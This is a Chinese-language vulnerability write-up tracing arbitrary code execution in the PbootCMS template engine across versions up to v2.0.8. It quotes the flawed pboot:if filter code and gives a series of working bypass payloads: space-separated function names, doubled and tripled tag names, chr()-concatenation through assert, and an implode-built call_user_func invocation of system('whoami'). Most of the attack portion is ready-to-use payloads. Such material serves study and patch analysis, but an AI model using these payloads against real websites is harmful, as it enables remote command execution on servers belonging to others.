
文章插图
然而留言部分仍然存在任意代码执行,代码如下
public function parserIfLabel($content){$pattern = '/{pboot:if(([^}]+))}([sS]*?){/pboot:if}/';$pattern2 = '/pboot:([0-9])+if/';if (preg_match_all($pattern, $content, $matches)) {$count = count($matches[0]);for ($i = 0; $i < $count; $i ++) {$flag = '';$out_html = '';$danger = false;$white_fun = array('date','in_array','explode','implode');// 还原可能包含的保留内容,避免判断失效$matches[1][$i] = $this->restorePreLabel($matches[1][$i]);// 解码条件字符串$matches[1][$i] = decode_string($matches[1][$i]);// 带有函数的条件语句进行安全校验if (preg_match_all('/([w]+)([\s]+)?(/i', $matches[1][$i], $matches2)) {foreach ($matches2[1] as $value) {if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {$danger = true;break;}}}// 不允许从外部获取数据if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)/i', $matches[1][$i])) {$danger = true;}// 如果有危险函数,则不解析该IFif ($danger) {continue;}eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');禁止了外部数据的获取,白名单处的正则匹配不严谨,导致函数名+空格+()可以实现绕过payload{pboot:if(system (whoami))}{/pboot:if}
文章插图
PbootCMS(v2.0.3)增加了外部获取数据过滤部分,代码如下
【PbootCMS任意代码执行的前世今生】
if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)/i', $matches[1][$i])) {$danger = true;}并不影响我们使用system函数,提交上一个版本payload,发现pboot:if被删掉了
文章插图
在apps/home/controller/IndexController.php里第270行使用了将pboot:if替换为空

文章插图
所以直接双写绕过
payload{pbopboot:ifot:if(system (whoami))}{/pbpboot:ifoot:if}
文章插图
PbootCMS(v2.0.4-v2.0.7)使用上一个版本payload,发下双写也被过滤了

文章插图
改动的地方位于/core/basic/Model.php,增加了如下代码

文章插图
也就是再过滤了一次pboot:if,然而这种替换为空是根本没用的,于是三重写绕过,但是v2.0.4还增加了正则黑名单的过滤,禁用了system等函数,代码如下正则匹配黑名单加强,代码如下
if (preg_match('/($_GET[)|($_POST[)|($_REQUEST[)|($_COOKIE[)|($_SESSION[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {$danger = true;}发现漏掉了assert函数,没用过滤chr函数,所以直接拼接绕过payload{ppbopboot:ifot:ifboot:if(assert (chr (115).chr (121).chr (115).chr (116).chr (101).chr (109).chr (40).chr (119).chr (104).chr (111). chr (97).chr (109).chr (105).chr (41)))}{/pbpbopboot:ifot:ifoot:if}
文章插图
PbootCMS(v2.0.8)从v2.0.8开始采用递归替换pboot:if,位于/app/home/controller/MessageController.php第61行
$field_data = https://www.isolves.com/it/aq/wl/2020-08-05/preg_replace_r('/pboot:if/i', '', $field_data);跟进一下,位于/core/function/handle.phpfunction preg_replace_r($search, $replace, $subject){while (preg_match($search, $subject)) {$subject = preg_replace($search, $replace, $subject);}return $subject;}这样就无法采用双写绕过了,正则表达式处改动了,导致函数+空格被过滤,代码如下if (preg_match_all('/([w]+)([s\\]+)?(/i', $matches[1][$i], $matches2)) {foreach ($matches2[1] as $value) {if (function_exists($value) && ! in_array($value, $white_fun)) {$danger = true;break;}}}后台不会经过preg_replace函数的处理,使用的白名单里implode函数仍然可以实现任意代码执行payload{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('',['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- SimCLR框架的理解和代码实现以及代码讲解
- HTML中嵌入视频和音频代码
- 78行代码实现撤回消息查看!Python itchat
- 将代码注释转换为过程规范
- 基于springboot+shiro+freemarker的快速开发框架,代码免费分享
- 代码封装技巧和原则
- 解放双手!你不知道的代码生成神器
- 十大无代码网站编辑器
- 【网络安全】关于OracleWeblogic远程代码执行高危漏洞的预警通报
- 几十行python代码,玩转人脸融合!它山API,可以攻玉
